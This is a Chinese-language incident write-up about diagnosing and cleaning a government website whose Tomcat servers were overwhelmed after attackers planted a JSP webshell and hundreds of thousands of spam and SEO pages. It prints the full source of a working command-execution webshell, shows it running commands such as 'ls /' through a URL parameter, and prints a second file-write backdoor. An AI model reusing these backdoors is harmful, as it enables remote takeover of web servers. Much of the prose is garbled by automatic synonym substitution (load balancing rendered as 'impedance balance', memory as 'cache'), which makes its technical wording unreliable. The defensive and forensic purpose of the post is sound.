一、难题现象
下午三点，刚刚睡着，就收到了顾客发来的电话，说他们的中文网站挂（那个用语很不准确，但感觉到难题的潜在性）了，查问是怎么发生的，之前做了甚么操作，顾客的提问是：甚么都没做，突然就不行了！对于这样的提问，我早已习惯，即使要想从顾客那里得到管用的进行咨询，基本上很难，即使顾客并非从业者，因此只能根据顾客的叙述，一点一点去推论难题。
透过顾客得出的那个提示信息，难题推论方向有如下表右图几个方面：
1、中文网站无法出访了，可能将服务项目down了。也可能将伺服器无法出访了。2、中文网站出访非常快，基本看不清楚，因此顾客就认为无法出访了，但此时服务项目和伺服器可能将还处于启动状况。3、顾客自身网络难题，或者DNS难题？带着疑点，已经开始了机械故障摸查。
二、难题摸查
作为一个网络管理丘壳，我的一贯作风路子就是合乎情理，既然顾客说中文网站无法出访了，那我还需要自己试验一下，关上应用程序，输出搜索引擎，中文网站愿于无法关上，直到延时。看来确实中文网站看不清楚了。
2.1、初步摸查
接著，已经开始登入伺服器指点迷津，顾客中文网站的构架是nginx+tomcat，我首先透过ssh登入到nginx伺服器上，相连速度却是很快的，登入上去后，先执行下top指示，检查下控制系统总体运转状况，如下表右图图右图：
这是一个centos7.9的控制系统，nginx伺服器的硬体实用性是32Gb缓存，2颗8理论物理CPU，nginx透过阻抗平衡将静态、静态允诺发送到后端多个tomcat上，tomcat运转在除此之外三台独立的伺服器上，硬体实用性为2颗8理论物理CPU，64GB缓存。
从图中能看出，伺服器CPU天然资源有一定阻抗，但相对较低，32GB的缓存天然资源还较为充裕，cached了不少缓存，该些都是能使用的。除此之外16个nginx进程每个平均挤占CPU阻抗在30%-40%之间。总体来看，控制计算天然资源却是较为充裕的，初步推论，并非nginx伺服器的难题。
接著，继续登入到tomcat所在的伺服器，仍然透过top指示查阅控制系统总体天然资源状况，如下表右图图右图:
tomcat伺服器也是一个centos7.9的控制系统，控制系统总体阻抗偏高（最高14），64Gb的物理缓存，可用的仅剩下200M左右，虽然cached了48GB左右，除此之外能看到有三个java进程，每个进程挤占cpu天然资源都在100%以上，并且一直持续了几个小时，这里有些异常，最后，关注了一下，启动java进程的是apsds那个普通用户。
然后继续查阅，发现这三个java进程，其实是启动了三个tomcat实例，每个tomcat实例都是一个独立的服务项目，接著，再去查阅第二个tomcat物理伺服器，发现跟现在那个无论是硬体实用性、却是软件部署环境，都完全一致，也就是三台tomcat启动了6个tomcat实例，透过前端nginx做阻抗平衡整合，对外提供web服务项目。
2.2、第二次摸查
透过简单的一遍伺服器状况过滤，发现可能将出难题的是tomcat伺服器，于是将精力集中在tomcat伺服器上，于是，重新登入tomcat机器，查阅tomcat出访日志，透过对日志的查阅，发现了一些异常，即使有很多不熟悉的静态页面被出访，如下表右图图右图：
图中966.html那个页面感觉有难题，即使顾客的中文网站静态页面是自动生成的，生成的页面后缀是.htm的，而并非html，这是其一，其二，透过查阅966.html那个页面的出访次数，吓了一大跳，一天的时间，300多万次出访，这明显不正常，即使顾客中文网站平时的出访量都在10万以内，根本不可能将这么高。
接著，继续查阅出访日志，发现类似966.html的这种页面出访非常多，每个页面的出访量都很大，于是，就到/htm/966.html对应的中文网站目录下，一探究竟吧，进入中文网站根目录下的htm目录，又发现了一些异常，如下表右图图右图：
那个目录是中文网站生成的静态页面目录，能看到有基于htm的静态页面，这些页面以gk开头，是顾客中文网站自动生成的正常文件，除此之外还有很多以html结尾的静态文件，这些文件不清楚是怎么来的，此外，还看到有个1.jsp的文件，那个就更诡异了，在静态页面目录下，不可能将放一个jsp文件啊，经过与顾客的进行咨询以及与研发的沟通，确认这些以html结尾的静态文件以及1.jsp文件都并非中文网站本身生成或使用的，那么重点来了，先来看看这些文件的内容吧。
首先查阅以html结尾的静态文件内容是甚么吧，这里就以那个996.html文件为例，透过应用程序出访996.html文件，顿时，傻眼了！！！请看下图：
百度，中奖查询！！！，此时脑子的第一反应是，中文网站被置入webshell了，看来难题非常严重。
接著，继续关上1.jsp那个文件，看看那个文件到底是甚么鬼，此文件内容如下表右图：（代码仅供学习，请勿其它用途）
<%@page import=”java.io.IOException”%> <%@page import=”java.io.InputStreamReader”%> <%@page import=”java.io.BufferedReader”%> <%@ page language=”java” import=”java.util.*” pageEncoding=”UTF-8″%> <% String cmd = request.getParameter(“cmd”); System.out.println(cmd); Process process = null; List processList = new ArrayList(); try { if (cmd!=null) { process = Runtime.getRuntime().exec(cmd); BufferedReader input = new BufferedReader(new InputStreamReader(process.getInputStream())); String line = “”; while ((line = input.readLine()) != null) { processList.add(line); } input.close(); } } catch (IOException e) { e.printStackTrace(); } String s = “”; for (String line : processList) { s += line + “\n”; } if (s.equals(“”)) { out.write(“null”); }else { out.write(s); } %>
好嘛，稍懂程序的人都能看出，这是一个WebShell木 马后门，它能干啥，先来试试，就知道了，关上应用程序，出访：http://ip/htm/1.jsp?cmd=ls /,
如下表右图图右图：
这并非我的伺服器根目录吗，然后将”cmd=“后面的字符替换成任意linux下可执行的指示，都能正常执行，这就是浏览器下的指示行啊！！！
再执行一个写操作看看，在应用程序出访如下表右图地址：
[apsds@tomcatserver1 htm]$ pwd /usr/local/tomcat/webapps/root/htm [apsds@tomcatserver1 htm]$ ll test.html -rw-r—– 1 apsds apsds 0 10月 16 10:57 test.html
看到了吧，成功写入。
不过却是较为幸运的，即使tomcat进程是透过普通用户apsds启动的，因此透过那个1.jsp只能在apsds用户权限下进行添加、删除操作，如果tomcat是以root用户启动的话，那难题就更严重了，即使那个1.jsp能对控制系统下任意文件或目录进行修改、删除操作了，其实相当于应用程序的root权限操作了。
到这里为止，好像难题正在逐渐浮出水面。
但，我们高兴太早了，上个文件还没完全搞清楚，新的难题又来了，我们在查询顾客中文网站搜索权重的时候，新的难题出现了，如下表右图图右图：
这是在搜索引擎搜到的顾客中文网站内容，很明显，顾客中文网站被置入了非法内容，然后被搜索引擎收录了，点开搜索出来的任意一个页面，内容如下表右图：
经过分析，能发现，那个页面的部分内容被替换了，替换的内容都是一些中文网站的关键字，应该是黑帽SEO的手段。
这里说到了搜索引擎，突然意识到，此次的机械故障，是否跟搜索引擎有关系呢？整理了一下路子，感觉应该是这样的：
1、中文网站应该有程序漏洞，在互联网被扫描到，然后注入了webshell。 2、骇客透过webshell置入了大量广告、推销网页。 3、即使中文网站（gov中文网站）权重较为高，因此搜索引擎较为喜欢来访 4、大量广告、推销网页被搜索引擎抓取，导致中文网站出访量激增。 5、顾客的中文网站是nginx+多个tomcat实现的阻抗平衡，所有静态、静态页面允诺都交给tomcat来处理，当出现大量静态允诺时，可能将会导致tomcat 无法响应。即使tomcat处理静态允诺性能很差。2.3、第三次摸查带着上面那个路子，继续进行摸查，步骤如下表右图：
1、摸查中文网站上被注入的html页面的数量
透过find查找、过滤，发现被置入的html页面有两类，分别是百度虚假中奖广告页面和黑帽seo关键字置入页面。
两种类型的html页面，总共有20w个左右，那个数量相当惊人。
2、摸查中文网站出访日志
透过对tomcat出访日志的统计和分析，发现每天对这些注入页面的出访量超过500w次，并且几乎全部是透过搜索引擎过来的流量，做了个简单的过滤统计，结果如下表右图：
[root@tomcatserver1 logs]# cat access_log.txt|grep Baiduspider|wc -l 596650 [root@tomcatserver1 logs]# cat access_log.txt|grep Googlebot|wc -l 540340 [root@tomcatserver1 logs]# cat access_log.txt|grep 360Spider|wc -l 63040 [root@tomcatserver1 logs]# cat access_log.txt|grep bingbot|wc -l 621670 [root@tomcatserver1 logs]# cat access_log.txt|grep YisouSpider|wc -l 3800100 [root@tomcatserver1 logs]# cat access_log.txt|grep Sogou|wc -l 533810
其中，Baiduspider表示百度蜘蛛、Googlebot表示谷歌蜘蛛、360Spider表示360蜘蛛、bingbot表示必应蜘蛛、YisouSpider表示宜搜蜘蛛、Sogou表示搜狗蜘蛛，其中，YisouSpider过来抓取的量最大，正常来说，蜘蛛抓取不应该这么频繁啊，于是简单搜索了一下YisouSpider那个蜘蛛，如下表右图图右图：
看来是个流氓蜘蛛，网络上对那个YisouSpider的蜘蛛骂声一片。
3、查阅nginx错误日志
透过查阅nginx错误日志，发现有大量相连返回延时允诺（502错误），也就是说，nginx把允诺交给tomcat后，tomcat迟迟不返回，导致返回延时，出现502 bad gateway错误。那个很明显是tomcat无法响应允诺导致的。
那么就来看看tomcat伺服器上的相连数情况：
[root@tomcatserver1 logs]# netstat -n | awk /^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]} TIME_WAIT 125300 CLOSE_WAIT 12 FIN_WAIT1 197 FIN_WAIT2 113 ESTABLISHED 13036 SYN_RECV 115 CLOSING 14 LAST_ACK 17
这里其实只需要关注三种状况即可：ESTABLISHED表示正在通信，TIME_WAIT表示主动关闭，正在等待远程套接字的关闭传送，CLOSE_WAIT表示远程被动关闭，正在等待关闭那个套接字。
从输出可知，伺服器上保持了大量TIME_WAIT状况和ESTABLISHED状况，大量的TIME_WAIT，应该是tomcat无法响应允诺，然后延时，主动关闭了相连，导致出现TIME_WAIT，种种迹象表明，tomcat无法处理这么大的相连允诺，导致响应缓慢，最终服务项目出现无响应。透过这三个方面的摸查，基本验证了自己的路子，那么难题也随即找到了。
三、解决难题
中文网站有漏洞，然后被注入webshell，继而被上传了大量广告、推广网页，导致搜索引擎疯狂抓取，最终导致脆弱的tomcat不堪重负，失去响应，这是此次机械故障发生的根本原因。
1、修复中文网站程序漏洞
要解决那个难题，首选要做的是找到中文网站漏洞，研发介入传了一个webshell，进而控制了操作控制系统。
研发在第一时间修复了那个漏洞，然后就是网络管理的干活时间了。
我们首先在伺服器上进行了网页扫描，主要扫描html为后缀的文件，然后全部删除（即使我们的网页都是以.htm结尾），同时删除了那个1.jsp文件，并继续查找和检查其它可疑的jsp文件，检查过程中又发现了一个jsp后门，基本特征码如下表右图：（代码仅供学习）
<% if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“/”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes()); %>
然后果断删除。不留后患。
2、禁封网络蜘蛛
网络上的蜘蛛、爬虫很多，有些是正规的，有些是流氓，适当的网络蜘蛛抓取对中文网站权重、流量有益，而那些流氓的蜘蛛必须要禁止，要实现禁封网络蜘蛛，在nginx下可透过如下表右图实用性实现：
server { listen 80; server_name 127.0.0.1; #添加如下内容即可防止爬虫 if ($http_user_agent ~* “qihoobot|YisouSpider|Baiduspider|Googlebot|Googlebot-Mobile|Googlebot-Image|Mediapartners-Google|Adsbot-Google|Feedfetcher-Google|Yahoo! Slurp|Yahoo! Slurp China|YoudaoBot|Sosospider|Sogou spider|Sogou web spider|MSNBot|ia_archiver|Tomato Bot”) { return 403; }
这样，当蜘蛛过来爬取你中文网站的时候，直接给他返回一个403错误，这里禁止了很多网络蜘蛛，如果你还需要蜘蛛的话，可保留几个较为正规的，例如谷歌蜘蛛和百度蜘蛛即可，其实一律封掉。
上面那个办法有点简单粗暴，但最有效，其实还能在中文网站更目录下增加Robots.txt文件，在那个文件中我们能声明该中文网站中不想被robots出访的部分，或者指定搜索引擎只收录指定的内容。
robots.txt是搜索引擎中出访中文网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在伺服器上甚么文件是能被查阅和抓取的，当一个搜索蜘蛛出访一个站点时，它会首先检查该站点根目录下是否存在robots.txt，如果存在，搜索蜘蛛就会按照该文件中的内容来确定出访的范围；如果该文件不存在，所有的搜索蜘蛛将能够出访中文网站上所有没有被口令保护的页面。
Robots协议是国际互联网界通行的道德规范，请注意，是道德标准，因此，如果搜索引擎不遵守约定的Robots协议，那么透过在中文网站下增加robots.txt也是不起作用的。
目前的网络蜘蛛大致分为4种： （1）、真名真姓，遵循robots.txt协议。 （2）、真名真姓，不遵循robots.txt协议。 （3）、匿名，不遵循robots.txt协议。 （4）、伪装：不遵循robots.txt协议。目前看来，绝大多数的搜索引擎机器人都遵守robots.txt规则的。但一些不知名的网络蜘蛛就会经常耍流氓，对待这种蜘蛛，建议使用上面nginx下实用性的规则，直接给它deny了。
下面看几个robots.txt实用性例子
（1）、允许所有的robot出访
User-agent: * Disallow:
（2）、禁止所有搜索引擎出访中文网站的任何部分
User-agent: * Disallow: /
（3）、禁止所有搜索引擎出访中文网站的几个部分（下例中的a、b、c目录）
User-agent: * Disallow: /a/ Disallow: /b/ Disallow: /c/
（4）、禁止某个搜索引擎的出访（下例中的YisouSpider）
User-agent: YisouSpider Disallow: /
（5）、只允许某个搜索引擎的出访（下例中的Googlebot）
User-agent: Googlebot Disallow: User-agent: * Disallow: /
透过Robots.txt文件方法去现在搜索引擎，是一个防君子不防小人的方法，碰到流氓蜘蛛就没辙了，有些无耻的搜索引擎根本不看中文网站的robots.txt，一路狂抓下去，实在另人发指。
3、调整中文网站的web构架
即使tomcat处理静态天然资源能力很低，因此，能将静态天然资源交给nginx来处理，静态天然资源交给tomcat处理，透过这种动、静分类方式，能大大提高中文网站的抗压性能。
我们采用的方式是将tomcat生成的htm文件放到一个共享磁盘分区，然后在nginx伺服器上透过nfs挂载那个磁盘分区，这样nginx就能直接出访这些静态文件。
透过上面三个步骤的操作，中文网站在半个小时内阻抗下降，很快恢复正常了。
安全难题不容忽略，那个事例是个典型的中文网站漏洞导致WebShell注入的例子，如何处理这类难题的路子和流程，是本文要传达给大家的核心知识。
